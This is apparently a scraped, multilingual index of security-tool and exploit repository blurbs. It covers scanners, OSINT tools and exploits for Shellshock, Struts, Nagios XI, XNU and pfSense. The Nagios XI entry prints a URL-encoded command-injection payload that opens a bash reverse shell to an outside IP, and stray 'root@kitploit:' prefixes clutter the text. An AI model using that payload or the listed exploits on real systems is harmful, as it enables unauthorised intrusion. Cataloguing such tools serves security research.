s3crets_scanner

S3cret Scanner: 공용 S3 버킷에 업로드된 비밀 정보 찾기 S3cret Scanner 도구는 공용 S3 버킷에서 비밀 정보를 사전에 찾아내어 Amazon S3 보안 모범 사례를 보완하는 계층을 제공하도록 설계되었습니다. 예약 작업 또는 요청 시로 실행할 수 있습니다. 자동화 워크플로 자동화는 다음 작업을 수행합니다: 1. 계정의 공용 버킷 목록을 확인합니다 ACL이 Public이거나 객체를 공개할 수 있음으로 설정된 버킷 2. 텍스트 또는 민감한 파일예: .p12, .pgp 등을 나열합니다. 3. 파일을...

slither

Slither, 스마트 계약 정적 분석기 Empire Hacking Slack에 참여하세요 - 토론 및 지원 Slither 는 Python3로 작성된 Solidity 및 Vyper 정적 분석 프레임워크입니다. 취약점 탐지기 모음을 실행하고, 계약 세부 정보에 대한 시각적 정보를 출력하며, 사용자 정의 분석을 쉽게 작성할 수 있는 API를 제공합니다. Slither는 개발자가 취약점을 찾고, 코드 이해도를 높이며, 사용자 정의 분석을 신속하게 프로토타입화할 수 있도록 합니다. 특징 사용법 설치 방법 uv 사용 권장 Pip 사용...

tmux

tmuxへようこそ! tmuxはターミナルマルチプレクサーです。複数のターミナルを一つのスクリーン内に作成し、操作することができます。 バックグラウンドで処理を実行中に一度スクリーンから離れて後から復帰することも可能です。 OpenBSD、FreeBSD、NetBSD、Linux、macOS、Solarisで実行できます。 tmuxはlibevent 2.x.に依存します。 下記からダウンロードしてください。 root@kitploit: http://libevent.org また、ncursesも必要です。こちらからどうぞ。 root@kitploit:...

exploit-CVE-2014-6271

Shellshock 漏洞利用 + 易受攻击环境 Shellshock，又称 Bashdoor，是一系列广泛使用的 Unix Bash shell 中的安全漏洞，其中第一个漏洞于 2014 年 9 月 24 日被披露。许多面向互联网的服务（例如某些 Web 服务器部署）使用 Bash 处理特定请求，从而允许攻击者诱使存在漏洞的 Bash 版本执行任意命令。这可使攻击者未经授权访问计算机系统。 运行易受攻击环境 你需要安装 docker 才能运行该环境，请前往 docker.com 安装（如果尚未安装）。 要启动易受攻击环境，只需运行 root@kitploit: docker run...

wsuks

wsuks WSUS攻撃の自動化 ドメインに参加しているWindowsマシンへのローカル管理者アクセスを取得することは、通常、ペネトレーションテスト中の最初のステップです。多くの場合、Windows Server Update Service WSUS...

alterx

AlterX 特徴 • インストール • 使い方 • AlterX の実行 • Discordに参加 root@kitploit: DSLを使用した、高速でカスタマイズ可能なサブドメインワードリストジェネレーター。 特徴 高速かつカスタマイズ可能 自動ワードエンリッチメント 定義済み変数 設定可能なパターン パターンマイニング - サブドメインパターンを自動的に発見します（Regulator の Go 移植版） STDIN / リスト入力 複数の操作モード（default、discover、both） インストール alterx をインストールするには、システムに Golang 1.19...

alterx

AlterX Features • Installation • Usage • Running AlterX • Join Discord root@kitploit: Fast and customizable subdomain wordlist generator using DSL. Features Fast and Customizable Automatic word enrichment Pre-defined variables Configurable Patterns Pattern Mining - Automatically discover subdomai...

holehe

Holehe OSINT - 이메일로 등록된 계정 찾기 👋 안녕하세요! 전문적인 문의나 협업이 필요하시면 다음 주소로 연락해 주세요: [email protected] 📧 가급적 전문 이메일을 사용해 주세요. 짧고 간결하게, 그리고 모두 영어로 부탁드립니다! Holehe 온라인 버전 요약 이메일에서 등록된 계정을 효율적으로 찾습니다. Holehe는 twitter, instagram, imgur 등 120개 이상의 사이트에서 이메일이 계정에 연결되어 있는지 확인합니다. 비밀번호 찾기 기능을 사용해 정보를 가져옵니다. 대상...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 発行日 2017-03-07 危険レベル 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影響製品 Apache struts =2.3.5、=2.5、 CVE識別子 CVE-2017-5638 問題 It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display ...

GeoSentinel

🌍 GeoSentinel GeoSentinel 은 실시간으로 글로벌 이동을 추적하는 지리공간 모니터링 플랫폼입니다. 선박 및 항공 경로, 실시간 좌표, 지리 데이터를 통합 시스템으로 집계하여 분석, 시각화 및 의사 결정을 위한 명확한 지리 및 지정학적 인사이트를 제공합니다. 🚀 !TIP 🚀 블로그 방문하기 Geo Sentinel 업데이트 및 인사이트 🌐 블로그 열기 🚀 공식 웹사이트 🌍 사이트 방문 🚀 공식 웹사이트 🌍 사이트 방문 !CAUTION 🚨 Geo Sentinel AI 업데이트 — 최신 Geo Sentinel AI...

Pinacolada

Hak5의 WiFi Coconut을 위한 무선 침입 탐지 시스템 Pinacolada는 일반적인 IEEE 802.11 공격을 탐지하고 가능한 한 빨리 사용자에게 알려줍니다. 이 모든 것은 Hak5's WiFi Coconut의 도움으로 이루어지며, 이를 통해 2.4GHz 대역의 모든 14개 채널에서 동시에 위협을 청취할 수 있습니다. 지원되는 802.11 공격 공격| 유형| 상태 ---|---|--- Deauthentication| DoS| ✅ Disassociation| DoS| ✅ Authentication| DoS| ✅...

eternal

소개 이 저장소는 이터널 소프트웨어 이니셔티브Eternal Software Initiative의 루트 저장소입니다. ESI는 Subleq OISC의 변형을 기반으로 한 최소 머신 아키텍처를 정의하며, 그 단순성 덕분에 완전한 명세를 냅킨에 적어 둘 수 있습니다. 그런 다음 이 아키텍처를 위한 LLVM 컴파일러 백엔드, Linux 포트, C/C++ 런타임 라이브러리 포트, 그리고 기존 소프트웨어로부터 자체 포함된 '캡슐'을 빌드하고 실행하는 데 필요한 기타 도구C로 약 50줄로 작성된 참조 가상 머신 구현 포함를 제공합니다. 이...

Nosql-MongoDB-injection-username-password-enumeration

Nosql 인젝션 사용자 이름 및 비밀번호 열거 스크립트 이 스크립트를 사용하여 Nosqlmongodb 인젝션에 취약한 웹 애플리케이션의 사용자 이름과 비밀번호를 열거할 수 있습니다. 익스플로이트 제목: Nosql 인젝션 사용자 이름/비밀번호 열거. 저자: Kalana Sankalpa Anon LK. 웹사이트: https://blogofkalana.wordpress.com/2019/11/14/nosql-injection-username-and-password-enumeration/ 실행 방법 사용법 root@kitploit:...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2018-4407

CVE-2018-4407 大規模 IOS/MAC 攻撃エクスプロイト CVE-2018-4407 は、IOS/MAC に対するシンプルかつ非常に高速な BOF 攻撃であり、DOS を引き起こす可能性があります。この脆弱性は、XNU オペレーティングシステムカーネルのネットワークコードにおけるヒープバッファオーバーフローです。XNU は iOS と macOS の両方で使用されているため、iPhone、iPad、MacBook がすべて影響を受けます。 使い方 root@kitploit: apt-get install nmap git clone...

rt_redirectors

Ansibleロール。既存のサーバーにmodrewriteプロキシルールを用いたリダイレクタを迅速にデプロイできます。 DebianおよびUbuntuをサポート、Digital OceanとAzureでテスト済み。 リダイレクタ、Ansible、および本ロールの詳細な解説については、threat.tevora.com/automating-redirector-deployment-with-ansible のブログを参照してください。...

udpx

Fast and lightweight, UDPX is a single-packet UDP scanner written in Go that supports the discovery of over 45 services with the ability to add custom ones. It is easy to use and portable, and can be run on Linux, Mac OS, and Windows. Unlike internet-wide scanners like zgrab2 and zmap, UDPX is...

udpx

빠르고 가벼운 UDPX는 Go로 작성된 단일 패킷 UDP 스캐너로, 45개 이상의 서비스 검색을 지원하며 사용자 정의 서비스를 추가할 수 있습니다. 사용하기 쉽고 이식성이 뛰어나며 Linux, Mac OS, Windows에서 실행할 수 있습니다. zgrab2나 zmap과 같은 인터넷 전체 스캐너와 달리 UDPX는 이식성과 사용 편의성에 중점을 두고 설계되었습니다. 빠릅니다. 단일 서비스에 대해 전체 /16 네트워크를 약 20초 안에 스캔할 수 있습니다. libpcap이나 다른 종속성을 설치할 필요가 없습니다. Linux, Ma...

CVE-2024-46538

この投稿は、EQSTLab によって公開された調査記事です。 この脆弱性を発見したphysicszq に感謝します。 CVE-2024-46538 ★ CVE-2024-46538 PfSense 保存型XSSによる任意コード実行 PoC ★ https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae 説明 CVE-2024-46538 : PfSense 保存型XSSの脆弱性 説明: pfsense v2.5.2 のクロスサイトスクリプティング XSS 脆弱性により、攻撃者は...

tofu

tofu A modular tool for hacking offline Windows filesystems and bypassing login screens. Can do hashdumps, OSK-Backdoors, user enumeration and more. How it works : When a Windows machine is shut down, unless it has Bitlocker or another encryption service enabled, it's storage device contains...